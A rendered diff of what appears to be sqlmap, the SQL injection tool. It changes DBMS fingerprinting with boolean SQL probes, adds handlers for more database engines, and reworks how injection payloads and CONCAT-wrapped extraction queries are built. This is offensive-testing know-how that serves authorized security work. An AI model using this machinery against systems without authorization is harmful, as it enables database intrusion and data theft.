||||||
|
current = line.rstrip(b"\r\n")
|
||||||
|
if not current:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
data += current
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
line = b""
|
||||||
|
|
||||||
|
self.data = data.decode(UNICODE_ENCODING, "ignore")
|
||||||
|
|
||||||
self.do_REQUEST()
|
self.do_REQUEST()
|
||||||
|
|
||||||
def log_message(self, format, *args):
|
def log_message(self, format, *args):
|
||||||
|
|||||||
@@ -54,6 +54,7 @@ from lib.core.datatype import AttribDict
|
|||||||
from lib.core.datatype import InjectionDict
|
from lib.core.datatype import InjectionDict
|
||||||
from lib.core.decorators import stackedmethod
|
from lib.core.decorators import stackedmethod
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
|
from lib.core.dicts import HEURISTIC_NULL_EVAL
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import HASHDB_KEYS
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
@@ -97,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
|
|||||||
from lib.core.settings import UPPER_RATIO_BOUND
|
from lib.core.settings import UPPER_RATIO_BOUND
|
||||||
from lib.core.settings import URI_HTTP_HEADER
|
from lib.core.settings import URI_HTTP_HEADER
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.request.comparison import comparison
|
from lib.request.comparison import comparison
|
||||||
from lib.request.inject import checkBooleanExpression
|
from lib.request.inject import checkBooleanExpression
|
||||||
@@ -519,8 +521,6 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
except (MemoryError, OverflowError):
|
except (MemoryError, OverflowError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
kb.prevFalsePage = falsePage
|
|
||||||
|
|
||||||
# Perform the test's True request
|
# Perform the test's True request
|
||||||
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
||||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||||
@@ -882,12 +882,17 @@ def heuristicCheckDbms(injection):
|
|||||||
|
|
||||||
for dbms in getPublicTypeMembers(DBMS, True):
|
for dbms in getPublicTypeMembers(DBMS, True):
|
||||||
randStr1, randStr2 = randomStr(), randomStr()
|
randStr1, randStr2 = randomStr(), randomStr()
|
||||||
|
|
||||||
Backend.forceDbms(dbms)
|
Backend.forceDbms(dbms)
|
||||||
|
|
||||||
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
|
if dbms in HEURISTIC_NULL_EVAL:
|
||||||
continue
|
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
|
||||||
|
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
|
||||||
|
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
|
||||||
|
else:
|
||||||
|
result = False
|
||||||
|
|
||||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
if result:
|
||||||
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||||
retVal = dbms
|
retVal = dbms
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -58,6 +58,7 @@ from lib.core.enums import NOTE
|
|||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.exception import SqlmapBaseException
|
from lib.core.exception import SqlmapBaseException
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapNotVulnerableException
|
from lib.core.exception import SqlmapNotVulnerableException
|
||||||
from lib.core.exception import SqlmapSilentQuitException
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
@@ -307,11 +308,20 @@ def start():
|
|||||||
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
||||||
dataToStdout(warnMsg)
|
dataToStdout(warnMsg)
|
||||||
|
|
||||||
while not checkInternet():
|
valid = False
|
||||||
dataToStdout('.')
|
for _ in xrange(conf.retries):
|
||||||
time.sleep(5)
|
if checkInternet():
|
||||||
|
valid = True
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
dataToStdout('.')
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
dataToStdout("\n")
|
if not valid:
|
||||||
|
errMsg = "please check your Internet connection and rerun"
|
||||||
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
else:
|
||||||
|
dataToStdout("\n")
|
||||||
|
|
||||||
conf.url = targetUrl
|
conf.url = targetUrl
|
||||||
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
||||||
@@ -403,14 +413,17 @@ def start():
|
|||||||
parseTargetUrl()
|
parseTargetUrl()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
message += "\ndo you want to test this URL? [Y/n/q]"
|
if not conf.scope:
|
||||||
choice = readInput(message, default='Y').upper()
|
message += "\ndo you want to test this URL? [Y/n/q]"
|
||||||
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if choice == 'N':
|
if choice == 'N':
|
||||||
dataToStdout(os.linesep)
|
dataToStdout(os.linesep)
|
||||||
continue
|
continue
|
||||||
elif choice == 'Q':
|
elif choice == 'Q':
|
||||||
break
|
break
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
infoMsg = "testing URL '%s'" % targetUrl
|
infoMsg = "testing URL '%s'" % targetUrl
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|||||||
+77
-29
@@ -11,47 +11,83 @@ from lib.core.data import kb
|
|||||||
from lib.core.dicts import DBMS_DICT
|
from lib.core.dicts import DBMS_DICT
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
|
from lib.core.settings import CACHE_ALIASES
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
|
from lib.core.settings import DB2_ALIASES
|
||||||
|
from lib.core.settings import DERBY_ALIASES
|
||||||
|
from lib.core.settings import EXTREMEDB_ALIASES
|
||||||
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
from lib.core.settings import FRONTBASE_ALIASES
|
||||||
|
from lib.core.settings import H2_ALIASES
|
||||||
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
|
from lib.core.settings import INFORMIX_ALIASES
|
||||||
|
from lib.core.settings import MAXDB_ALIASES
|
||||||
|
from lib.core.settings import MCKOI_ALIASES
|
||||||
|
from lib.core.settings import MIMERSQL_ALIASES
|
||||||
|
from lib.core.settings import MONETDB_ALIASES
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import PRESTO_ALIASES
|
||||||
from lib.core.settings import SQLITE_ALIASES
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
from lib.core.settings import ACCESS_ALIASES
|
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
|
||||||
from lib.core.settings import MAXDB_ALIASES
|
|
||||||
from lib.core.settings import SYBASE_ALIASES
|
from lib.core.settings import SYBASE_ALIASES
|
||||||
from lib.core.settings import DB2_ALIASES
|
from lib.core.settings import VERTICA_ALIASES
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
|
||||||
from lib.core.settings import H2_ALIASES
|
|
||||||
from lib.core.settings import INFORMIX_ALIASES
|
|
||||||
from lib.utils.sqlalchemy import SQLAlchemy
|
from lib.utils.sqlalchemy import SQLAlchemy
|
||||||
|
|
||||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
|
||||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
|
||||||
from plugins.dbms.mysql import MySQLMap
|
|
||||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
|
||||||
from plugins.dbms.oracle import OracleMap
|
|
||||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
|
||||||
from plugins.dbms.postgresql import PostgreSQLMap
|
|
||||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
|
||||||
from plugins.dbms.sqlite import SQLiteMap
|
|
||||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
|
||||||
from plugins.dbms.access import AccessMap
|
|
||||||
from plugins.dbms.access.connector import Connector as AccessConn
|
from plugins.dbms.access.connector import Connector as AccessConn
|
||||||
from plugins.dbms.firebird import FirebirdMap
|
from plugins.dbms.access import AccessMap
|
||||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
from plugins.dbms.altibase.connector import Connector as AltibaseConn
|
||||||
from plugins.dbms.maxdb import MaxDBMap
|
from plugins.dbms.altibase import AltibaseMap
|
||||||
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
from plugins.dbms.cache.connector import Connector as CacheConn
|
||||||
from plugins.dbms.sybase import SybaseMap
|
from plugins.dbms.cache import CacheMap
|
||||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
|
||||||
from plugins.dbms.db2 import DB2Map
|
from plugins.dbms.cratedb import CrateDBMap
|
||||||
|
from plugins.dbms.cubrid.connector import Connector as CubridConn
|
||||||
|
from plugins.dbms.cubrid import CubridMap
|
||||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||||
from plugins.dbms.hsqldb import HSQLDBMap
|
from plugins.dbms.db2 import DB2Map
|
||||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
from plugins.dbms.derby.connector import Connector as DerbyConn
|
||||||
from plugins.dbms.h2 import H2Map
|
from plugins.dbms.derby import DerbyMap
|
||||||
|
from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
|
||||||
|
from plugins.dbms.extremedb import ExtremeDBMap
|
||||||
|
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||||
|
from plugins.dbms.firebird import FirebirdMap
|
||||||
|
from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
|
||||||
|
from plugins.dbms.frontbase import FrontBaseMap
|
||||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||||
from plugins.dbms.informix import InformixMap
|
from plugins.dbms.h2 import H2Map
|
||||||
|
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||||
|
from plugins.dbms.hsqldb import HSQLDBMap
|
||||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||||
|
from plugins.dbms.informix import InformixMap
|
||||||
|
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
||||||
|
from plugins.dbms.maxdb import MaxDBMap
|
||||||
|
from plugins.dbms.mckoi.connector import Connector as MckoiConn
|
||||||
|
from plugins.dbms.mckoi import MckoiMap
|
||||||
|
from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
|
||||||
|
from plugins.dbms.mimersql import MimerSQLMap
|
||||||
|
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
|
||||||
|
from plugins.dbms.monetdb import MonetDBMap
|
||||||
|
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||||
|
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||||
|
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||||
|
from plugins.dbms.mysql import MySQLMap
|
||||||
|
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||||
|
from plugins.dbms.oracle import OracleMap
|
||||||
|
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||||
|
from plugins.dbms.postgresql import PostgreSQLMap
|
||||||
|
from plugins.dbms.presto.connector import Connector as PrestoConn
|
||||||
|
from plugins.dbms.presto import PrestoMap
|
||||||
|
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||||
|
from plugins.dbms.sqlite import SQLiteMap
|
||||||
|
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||||
|
from plugins.dbms.sybase import SybaseMap
|
||||||
|
from plugins.dbms.vertica.connector import Connector as VerticaConn
|
||||||
|
from plugins.dbms.vertica import VerticaMap
|
||||||
|
|
||||||
def setHandler():
|
def setHandler():
|
||||||
"""
|
"""
|
||||||
@@ -73,6 +109,18 @@ def setHandler():
|
|||||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||||
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
||||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||||
|
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
|
||||||
|
(DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
|
||||||
|
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
|
||||||
|
(DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
|
||||||
|
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
|
||||||
|
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
|
||||||
|
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
|
||||||
|
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
|
||||||
|
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
|
||||||
|
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
|
||||||
|
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
|
||||||
|
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
|
||||||
]
|
]
|
||||||
|
|
||||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||||
|
|||||||
+82
-13
@@ -13,6 +13,7 @@ from lib.core.common import filterNone
|
|||||||
from lib.core.common import getSQLSnippet
|
from lib.core.common import getSQLSnippet
|
||||||
from lib.core.common import getTechnique
|
from lib.core.common import getTechnique
|
||||||
from lib.core.common import getTechniqueData
|
from lib.core.common import getTechniqueData
|
||||||
|
from lib.core.common import hashDBRetrieve
|
||||||
from lib.core.common import isDBMSVersionAtLeast
|
from lib.core.common import isDBMSVersionAtLeast
|
||||||
from lib.core.common import isNumber
|
from lib.core.common import isNumber
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
@@ -34,6 +35,8 @@ from lib.core.data import queries
|
|||||||
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import FORK
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
@@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
|||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||||
|
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
|
||||||
from lib.core.settings import INFERENCE_MARKER
|
from lib.core.settings import INFERENCE_MARKER
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PAYLOAD_DELIMITER
|
from lib.core.settings import PAYLOAD_DELIMITER
|
||||||
@@ -184,8 +188,10 @@ class Agent(object):
|
|||||||
else:
|
else:
|
||||||
newValue = self.addPayloadDelimiters(newValue)
|
newValue = self.addPayloadDelimiters(newValue)
|
||||||
|
|
||||||
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
if newValue:
|
||||||
retVal = paramString.replace(_, newValue)
|
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||||
|
retVal = paramString.replace(_, newValue)
|
||||||
|
|
||||||
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||||
@@ -294,8 +300,9 @@ class Agent(object):
|
|||||||
where = getTechniqueData().where if where is None else where
|
where = getTechniqueData().where if where is None else where
|
||||||
comment = getTechniqueData().comment if comment is None else comment
|
comment = getTechniqueData().comment if comment is None else comment
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
|
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
||||||
comment = queries[DBMS.ACCESS].comment.query
|
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
|
||||||
|
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||||
|
|
||||||
if comment is not None:
|
if comment is not None:
|
||||||
expression += comment
|
expression += comment
|
||||||
@@ -381,6 +388,11 @@ class Agent(object):
|
|||||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||||
payload = payload.replace(_, randomStr())
|
payload = payload.replace(_, randomStr())
|
||||||
|
|
||||||
|
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||||
|
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||||
|
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
||||||
|
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
def getComment(self, request):
|
def getComment(self, request):
|
||||||
@@ -438,7 +450,7 @@ class Agent(object):
|
|||||||
|
|
||||||
nulledCastedField = field
|
nulledCastedField = field
|
||||||
|
|
||||||
if field:
|
if field and Backend.getIdentifiedDbms():
|
||||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||||
|
|
||||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
||||||
@@ -446,7 +458,7 @@ class Agent(object):
|
|||||||
else:
|
else:
|
||||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||||
nulledCastedField = rootQuery.cast.query % field
|
nulledCastedField = rootQuery.cast.query % field
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
||||||
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
||||||
else:
|
else:
|
||||||
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
||||||
@@ -523,7 +535,7 @@ class Agent(object):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
||||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+([\d]|\([^)]+\))+\s+(.+?)\s+FROM", query, re.I)
|
||||||
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
||||||
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
||||||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||||
@@ -548,7 +560,7 @@ class Agent(object):
|
|||||||
if fieldsSelect:
|
if fieldsSelect:
|
||||||
fieldsToCastStr = fieldsSelect.group(1)
|
fieldsToCastStr = fieldsSelect.group(1)
|
||||||
elif fieldsSelectTop:
|
elif fieldsSelectTop:
|
||||||
fieldsToCastStr = fieldsSelectTop.group(1)
|
fieldsToCastStr = fieldsSelectTop.group(2)
|
||||||
elif fieldsSelectRownum:
|
elif fieldsSelectRownum:
|
||||||
fieldsToCastStr = fieldsSelectRownum.group(1)
|
fieldsToCastStr = fieldsSelectRownum.group(1)
|
||||||
elif fieldsSelectDistinct:
|
elif fieldsSelectDistinct:
|
||||||
@@ -648,7 +660,7 @@ class Agent(object):
|
|||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||||
@@ -708,21 +720,43 @@ class Agent(object):
|
|||||||
warnMsg = "applying generic concatenation (CONCAT)"
|
warnMsg = "applying generic concatenation (CONCAT)"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
|
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
|
||||||
|
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
|
||||||
|
if _ != concatenatedQuery:
|
||||||
|
concatenatedQuery = _
|
||||||
|
fieldsSelectFrom = None
|
||||||
|
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsSelectCase:
|
elif fieldsSelectCase:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsSelectFrom:
|
elif fieldsSelectFrom or fieldsSelect:
|
||||||
|
fromTable = ""
|
||||||
|
|
||||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||||
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
if _:
|
||||||
|
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
|
||||||
|
|
||||||
|
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
|
||||||
|
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
chars = [_ for _ in replacement]
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
for index in zeroDepthSearch(replacement, ',')[1:]:
|
||||||
|
chars[index] = "),"
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
|
||||||
|
concatenatedQuery = "%s%s" % (replacement, fromTable)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
